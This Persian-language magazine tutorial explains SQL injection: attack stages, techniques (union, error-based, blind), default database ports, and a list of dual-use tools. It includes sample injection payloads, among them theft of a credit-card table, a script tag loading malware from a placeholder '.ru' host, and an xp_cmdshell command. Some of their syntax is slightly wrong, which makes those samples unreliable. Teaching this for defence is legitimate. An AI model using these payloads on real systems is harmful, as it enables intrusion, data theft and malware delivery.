تنها در یک نمونه کوچک آلبرت گونزالز در خلال سالهای 2005 تا 2007 بر مبنای تکنیک حمله تزریق کد اسکیوال اطلاعات حدود 170 میلیون کارت اعتباری را از بانکهای اطلاعاتی مختلف استخراج کرد. اگر بلیط هواپیما رزرو کردهاید، به رستورانی رفتهاید و هزینه مربوطه را با کارت اعتباری خود پرداخت کردهاید یا هرگونه خرید اینترنتی انجام دادهاید، در تمامی این موارد از یک بانک اطلاعاتی استفاده کردهاید که اطلاعات شخصی را در قالب رکوردهایی ذخیره و آماده دسترسی کرده است.
برخی مواقع، هکرها به جای حمله مستقیم به بانکهای اطلاعاتی به رابطهای برنامهنویسی حمله میکنند که برای تعامل با بانکهای اطلاعاتی استفاده میشوند. بهطور مثال، ADO سرنامActiveX Data Objects یک واسط برنامهنویسی است که به کاربران امکان ویرایش دادههای ذخیره شده در بانکهای اطلاعاتی را میدهد. همچنین معماری سرویسگرا (SOA) سرنام service-oriented architecture نیز وجود دارد که مجموعه خدمات کاربردی را ارائه میکند. این سرویسها با هدف متصل کردن دادهها به یکدیگر استفاده میشوند. بخش عمدهای از سرویسهای وب به شکلی پیادهسازی میشوند تا دسترسی کاربران به آنها از طریق پورتالهای فرانتاند فراهم باشد. اجازه دهید قبل از آنکه به سراغ حملات رایجی برویم که پایگاههای داده را هدف قرار میدهند به چند واقعیت مهم در ارتباط با بانکهای اطلاعاتی اشارهای داشته باشیم. بسته به سیستم مدیریت بانک اطلاعاتی (DBMS) که پیادهسازی شده، پایگاههای داده میتوانند متمرکز یا توزیعی باشند. از مهمترین سامانههای مدیریت بانکهای اطلاعاتی به موارد زیر میتوان اشاره کرد:
سیستم مدیریت پایگاه داده سلسله مراتبی (Hierarchical database management system): در این نوع پایگاه داده، پیوندها در یک ساختار درختی مرتب میشوند. هر رکورد میتواند تنها یک مالک داشته باشد و به همین دلیل در اغلب موارد یک پایگاه داده سلسله مراتبی را نمیتوان برای ارتباط با ساختارهای موجود در دنیای واقعی استفاده کرد.
سیستم مدیریت پایگاه داده شبکهای (Network database management system): این نوع بانک اطلاعاتی انعطافپذیرتر از پایگاه داده سلسله مراتبی است. مدل بانک اطلاعاتی شبکهای مبتنی بر یک ساختار شبکهای است. در یک چنین پایگاه دادهای هر رکورد میتواند چند والد و رکورد فرزند داشته باشد.
سیستم مدیریت پایگاه داده رابطهای (Relational database management system): این نوع بانک اطلاعاتی معمولاً مجموعهای از جداول است که توسط کلیدهای اصلی و خارجی به یکدیگر مرتبط میشوند. بیشتر سازمانها از نرمافزارهایی استفاده میکنند که بر مبنای بانکهای اطلاعاتی رابطهای طراحی شدهاند. اکثر بانکهای اطلاعاتی رابطهای از SQL به عنوان زبان پرسوجو استفاده میکنند. دانشجویان رشته مهندسی نرمافزار به خوبی با این مدل بانکهای اطلاعاتی آشنایی دارند، زیرا سرفصلهای دروس بانکهای اطلاعاتی دانشگاهی بر مبنای تعریف و مدیریت یک چنین بانکهای اطلاعاتی تدوین شدهاند.
سیستم مدیریت پایگاه داده شیگرایی (Object-oriented database management system): این نوع بانک اطلاعاتی نسبتاً جدید است و برای غلبه بر برخی محدودیتهای پایگاههای دادهای رابطهای که توسط سازمانهای بزرگ استفاده میشوند طراحی شده است. پایگاههای داده شیگرا از زبانی سطح بالا مانند SQL استفاده نمیکنند. این پایگاههای داده بر مبنای معماری مدلسازی و ساخت دادهها به عنوان اشیا پشتیبانی میکنند.
شناسایی سرورهای SQL
امروزه در بیشتر دورههای آموزشی و مدارک بینالمللی تمرکز بر بانک اطلاعاتی Microsoft SQL است، اما آسیبپذیریها در بانکهای اطلاعاتی مختلف وجود دارد. جدول یک رایجترین برنامههای پایگاه داده که به شکل گسترده توسط توسعهدهندگان و سازمانها استفاده میشوند را نشان میدهد.
پورت |
بانک اطلاعاتی |
---|---|
1521 |
Oracle Net Listener |
1434 |
Microsoft SQL |
3306 |
MySQL |
پس از شناسایی یک پایگاه داده، مهاجم در اولین گام به سراغ یک فیلد نام حساب کاربری میرود تا آسیبپذیریهای SQL را شناسایی کند. این مرحله گاهی اوقات علامت (tick) نامیده میشود. هکر با انجام محاورهای نتیجه بازگشتی را بررسی میکند. بهطور مثال، نتیجه برگشتی ممکن است چیزی شبیه به حالت زیر باشد:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string ' and Password=''.
/login.asp, line 42
هکر با مشاهده این پیغام و یک جستوجوی ساده متوجه میشود بانکاطلاعاتی مستعد حمله تزریق کد SQL است. در این مرحله هکر به سراغ اسکریپتهای نرمافزار Nmap میرود. Nmap یکی از پر کاربردترین نرمافزارهای دنیای فناوری است که متخصصان دنیای شبکه و امنیت به شکل گستردهای از آن استفاده میکنند. بهطور مثال، اسکریپت زیر به سراغ فرمهای موجود در وبسایتها میرود و سعی میکند هر فیلد آسیبپذیری را شناسایی کند.
nmap -sV --script=http-sql-injection <target>
تزریق کد اسکیوال زمانی اتفاق میافتد که مهاجم از آسیبپذیریهای مستتر در بانک اطلاعاتی برای وارد کردن دستورات SQL در یک محاوره استفاده میکند و محاوره با موفقیت روی بانکاطلاعاتی اجرا میشود. تزریق کد SQL به مهاجم امکان میدهد از مزایای اجرای کدهای غیرایمن و مخرب روی یک سیستم به بهترین شکل استفاده کند و دستورات مدنظر خود را به شکل مستقیم به یک پایگاه داده انتقال دهد. در این حالت مهاجم قادر است از دسترسی خود برای انجام فعالیتهای مختلف استفاده کند. سرورهای آسیبپذیر میتوانند در برابر تزریق SQL از انجام فعالیتهای عادی خود بازایستاده، از دسترس خارج شوند یا در سناریوهای بدتر، دستوراتی روی آنها اجرا شود تا اطلاعات پایگاه داده استخراج شود. در موارد پیچیدهتر هکرها ممکن است به جای استخراج یا از دست خارج کردن سرورها، به سراغ تحریف اطلاعات بروند و رکوردهای اطلاعاتی غیرواقعی را به جداول اضافه کنند. هکرها در چهار مرحله زیر به بانکهای اطلاعاتی آسیبپذیر حمله میکنند:
- ردیابی: هکرها از فناوریهایی برای شناسایی بانکهای اطلاعاتی و پروتکلهای استفاده شده توسط وبسایتها استفاده میکنند.
- شناسایی: نقاط ورودی مربوط به کاربر شناسایی میشود. این نقاط ورودی بیشتر فیلدهایی دریافت اطلاعات ورودی از کاربر هستند.
- آزمایش: فیلدهای ورودی کاربر که مستعد حمله هستند شناسایی میشوند.
- بهرهبرداری: بیتهای اضافی یا به عبارت دقیقتر، دستورات مخرب در فیلدهای ورودی قرار میگیرند تا دستورات اجرایی روی سامانه قربانی اجرا شوند.
سرپرستان بانکهای اطلاعاتی برای آنکه مطمئن شوند بانکهای اطلاعاتی در برابر حملات تزریق کد اسکیوال آسیبپذیر هستند یا خیر، باید به شکل دستی یا خودکار آنها را آزمایش کنند. آزمایش به شیوه دستی به دانش فنی و تجربه زیاد نیاز دارد. روش دوم بهکارگیری ابزارهای کشف آسیبپذیریها است که از آن جمله میتوان به اسکریپتهای Nmap اشاره کرد.
آسیبپذیریهای تزریق SQL
تزریق کد مخرب SQL یکی از شایعترین بردارهای حمله است. تزریق یک علامت نقل قول همراه با کاراکترهای الفبا که منجر به خطایی در بانک اطلاعاتی یکی از مهمترین تکنیکهای مورد استفاده هکرها است. یک چنین حملهای روی هر یک از فیلدهای ورودی قابل اجرا است. از مهمترین تکنیکهای تزریق کد مخرب اسکیوال به موارد زیر میتوان اشاره کرد:
تزریق ساده SQL: از فقدان مکانیزمهای اعتبارسنجی ورودیها برای حمله استفاده میشود.
تزریق کد مبتنی بر فرمان Union: در این تکنیک از فرمان UNION SELECT استفاده میشود. در این حمله سعی میشود از عملگر UNION برای ترکیب نتایج دو یا چند فرمان SELECT در قالب یک نتیجه واحد استفاده شود. این تکنیک حمله عمدتا برای سرقت اطلاعات استفاده میشود.
تزریق کد مبتنی بر خطا: در تکنیک فوق به عمد از عبارات ساختاری ضعیف استفاده میشود تا بانک اطلاعاتی مجبور شود برای پاسخگویی نام جدول و اطلاعات دیگر پیغامهای خطا را نشان دهد.
تزریق کد غیر خوانا: این بردار حمله بهنام تزریق کد استنتاجی نیز نامیده میشود. زمانیکه مهاجمی میداند پایگاه داده مستعد تزریق کد مخرب است، اما طراحان بانک اطلاعاتی پیامهای خطا یا بازخوردها را پنهان کردهاند و کدهای خطا یا بازخوردی دریافت نمیشود از این بردار حمله استفاده میکند. تکنیک فوق زمانبر است، با این حال، مهاجم سعی میکند حمله را با وارد کردن مجموعهای از درخواستها آزمایش کند. هکر با اجرای این حمله هیچگونه اطلاعات خاصی دریافت نمیکند، بلکه جوابها را تنها در حالت صحیح یا اشتباه دریافت میکند.
سرورهای SQL به دلیل کدنویسی ضعیف، عدم اعتبارسنجی ورودیها و عدم بهروزرسانی و نصب وصلهها آسیبپذیر هستند، به همین دلیل سرپرستان بانکاطلاعاتی یا دپارتمان امنیت باید به عنوان بخشی از برنامه تست نفوذسنجی، وبسایتها یا برنامههای وبمحور را برای این مدل آسیبپذیریها آزمایش کنند. از مهمترین آسیبپذیریهای پیرامون بانکهای اطلاعاتی به موارد زیر میتوان اشاره کرد:
- عدم بهکارگیری فرآیند پاکسازی یا فیلتر دادههای ورودی کاربر (sanitization)
- ترکیب ساختارهای کنترلی و دادهای در کانال انتقال یکسان
برای درک بهتر حملات تزریق کد SQL باید شکل اصلی دستور SELECT را بررسی کنیم. دستور SELECT برای دریافت رکوردهای ذخیره شده در جداول بانک اطلاعاتی استفاده میشود. ترکیب نحوی به این شکل است که ابتدا کلیدواژه SELECT در ابتدای محاوره نوشته میشود و در ادامه بسته به اطلاعاتی که قرار است دریافت شوند، فیلدهای اطلاعاتی به همراه جداول تعیین میشوند. سادهترین شکل بهکارگیری فرمان فوق به شرح زیر است:
SELECT * FROM Orders
معنای کلی فرمان فوق این است که "من دوست دارم سرور SQL تمام سوابق موجود در جدولی بهنام Orders را به من نشان دهد." اکنون اجازه دهید کمی روی این دستور کار کرده و آنرا دقیقتر کنیم:
SELECT OrderID, FirstName, LastName FROM Orders
این دستور محتوای درون ستونهای OrderID ، FirstName و LastName جدول Orders را بازیابی و نتایج را نشان میدهد. زمانیکه سعی کنید گزینهها و فرمانهای دیگری شبیه به WHERE (تنظیم یک جمله شرطی)، LIKE (تعیین شرطی که محتوایی شبیه به مقدار متغیر را بر میگرداند)، AND و OR (خود توضیحی) را به فرمان اصلی وارد کنید، اطلاعات به شکل دقیقتری بازگردانده میشوند:
SELECT OrderID, FirstName, LastName FROM Orders WHERE LastName ='Smith'
سادهترین راه شناسایی آسیبپذیری تزریق SQL در یک بانکاطلاعاتی، اضافه کردن کاراکترهای غیر معتبر به یک مقدار پارامتری و تماشای خطاهای برنامه در پاسخ به محاوره است. کارشناسان امنیتی عمدتا از این روش برای تشخیص آسیبپذیریهای یک بانکاطلاعاتی استفاده میکنند. رویکرد مبتنی بر ترکیب نحوی عملکرد مثبتی دارد، البته به شرطی که پیامهای خطا نشان داده شوند و طراح از مکانیزم پنهانسازی پیامها استفاده نکرده باشد. در صورت عدم نمایش پیامها باید از تکنیک تزریق کد استنتاجی استفاده کرد. صرفنظر از تکنیک مورد استفاده باید کاراکتری را پیدا و در محاوره قرار داد تا پس از اجرا توسط بانکاطلاعاتی خطایی تولید کند و این خطا در قالب پاسخ از سرور دریافت شود. تنها در این صورت قادر به شناسایی و ترمیم آسیبپذیری تزریق کد هستید. در یک حمله تزریق کد ساده SQL، مهاجم ممکن است سعی کند رکوردهای موجود در بانک اطلاعاتی را تغییر داده یا رکوردهای جدیدی را اضافه کند. هکرها از روشهای زیر برای اضافه، بهروزرسانی یا کشف نام یک جدول استفاده میکنند:
SELECT FirstName, LastName FROM Salesperson WHERE State = '';
INSERT INTO TABLE Users ('username') VALUES ('mike'); --'
یا
SELECT FirstName, LastName FROM Salesperson WHERE State = '';
UPDATE TABLE Users SET Salary=1500000 WHERE username='mike'; --'
یک روش ساده برای شناسایی نام یک جدول
blah' AND 1+(SELECT COUNT(*) FROM mytable); --
در نگاه اول ممکن است دستورات فوق چندان خطرناک نباشد، اما به قطعه کد زیر دقت کنید که چگونه یک هکر با تزریق کد اقدام به سرقت رکوردهای دادهای میکند:
SELECT FirstName, LastName FROM Salesperson WHERE State = '';
SELECT * FROM TABLE CreditCards; --'
در موراد بحرانیتر، حمله ممکن است سرور SQL را مجبور به گسترش بدافزارها کند:
SELECT FirstName, LastName FROM Salesperson WHERE State = '';
UPDATE TABLE Users SET MiddleName =
'<script src="http://malware_site.ru/malware.js"/>'; --'
در مثال بالا مهاجم از سرور SQL برای پخش بدافزار استفاده میکند. در این حالت، هنگامی که قربانی صفحه آلوده را مشاهده میکند، برنامه برچسب اسکریپت مخرب را از فایل بانکاطلاعاتی استخراج کرده و آنرا به محتوای صفحه اضافه میکند. در ادامه مرورگر قربانی بدافزار را بازیابی و اجرا میکند و بارداده مخرب به سادگی روی سامانه او نصب میشود، بدون آنکه قربانی کار خطرناکی انجام داده باشد. سرانجام، مهاجم ممکن است از طریق سرور SQL با سیستمعامل ارتباط برقرار کرده و به محیط شبکه دسترسی پیدا کند. هکرها عمدتا از دو تکنیک رایج برای این منظور استفاده میکنند که خواندن و نوشتن فایلهای سیستمی از دیسک و اجرای مستقیم دستورات است. دستور زیر نمونهای از این مدل دستورات است.
exec master..xp_cmdshell 'ping 192.168.123.254
راهکار مقابله با حملات تزریق کد چیست؟
بهترین راهکار مقابله با این مدل حملات، کدنویسی قوی، وصله کردن آسیبپذیریهای سیستمی و بهکارگیری مکانیزمهای احراز هویت قوی است. به عنوان سرپرست بانکاطلاعاتی باید اطمینان حاصل کنید تنها مجوزهای موردنیاز به کارمندان تخصیص داده شده و در زمان کدنویسی برنامههای کاربردی از مکانیزمهای مدیریت خطا استفاده شده تا هر زمان سیستم خطایی را تشخیص داد، هیچ اطلاعات قابل استفادهای در اختیار هکرها قرار نگیرد.
ابزارهای در دسترس برای شناسایی و بهکارگیری آسیبپذیریها
ابزارهای امنیتی کاربرد دوگانه دارند، زیرا هکرها و کارشناسان امنیتی به یک شکل از آنها استفاده میکنند. از مهمترین ابزارهای در دسترس در این زمینه به موارد زیر میتوان اشاره کرد:
- SQLDict: ابزار فوق برای پیادهسازی یک حمله لغتنامهای روی سرور SQL استفاده میشود تا کارشناسان امنیتی بتوانند ضعفهای موجود را شناسایی کنند.
- SQLExec: دستوراتی که باعث میشوند مشکلات جدی یک سرور SQL نمایان شوند را اجرا میکند.
- SQLbf: بر مبنای حملات جستوجوی فراگیر و لغتنامه سعی میکند گذرواژههای ضعیف استفاده شده را نشان دهد.
- BSQL Hacker: یک ابزار تزریق خودکار SQL است.
- SQL2.exe: برای پیادهسازی یک حمله سرریزبافر UDP یک پنجره خط فرمان در اختیار هکر قرار میدهد.
- Marathon Tool: برای پیادهسازی حملات تزریق کد استنتاجی استفاده میشود.
- SQL Power Injector: برای بهرهبرداری از تزریق کد اسکیوال استفاده میکند.
- Havij: برای جمعآوری نشانههای اولیه در ارتباط با بانکاطلاعاتی استفاده میشود و سعی میکند مواردی همچون گذرواژهها، نامهای لاگین DBMS و جداول dump را بازیابی کرده، به واکشی دادهها پرداخته، دستورات SQL را اجرا کرده و دسترسی به فایلهای سیستمی را سرورهای SQL را فراهم کند.
- Absinthe: ابزار دیگری است که برای بهرهبرداری از اکسپلویتهای SQL استفاده میشود.
ماهنامه شبکه را از کجا تهیه کنیم؟
ماهنامه شبکه را میتوانید از کتابخانههای عمومی سراسر کشور و نیز از دکههای روزنامهفروشی تهیه نمائید.
ثبت اشتراک نسخه کاغذی ماهنامه شبکه
ثبت اشتراک نسخه آنلاین
کتاب الکترونیک +Network راهنمای شبکهها
- برای دانلود تنها کتاب کامل ترجمه فارسی +Network اینجا کلیک کنید.
کتاب الکترونیک دوره مقدماتی آموزش پایتون
- اگر قصد یادگیری برنامهنویسی را دارید ولی هیچ پیشزمینهای ندارید اینجا کلیک کنید.
نظر شما چیست؟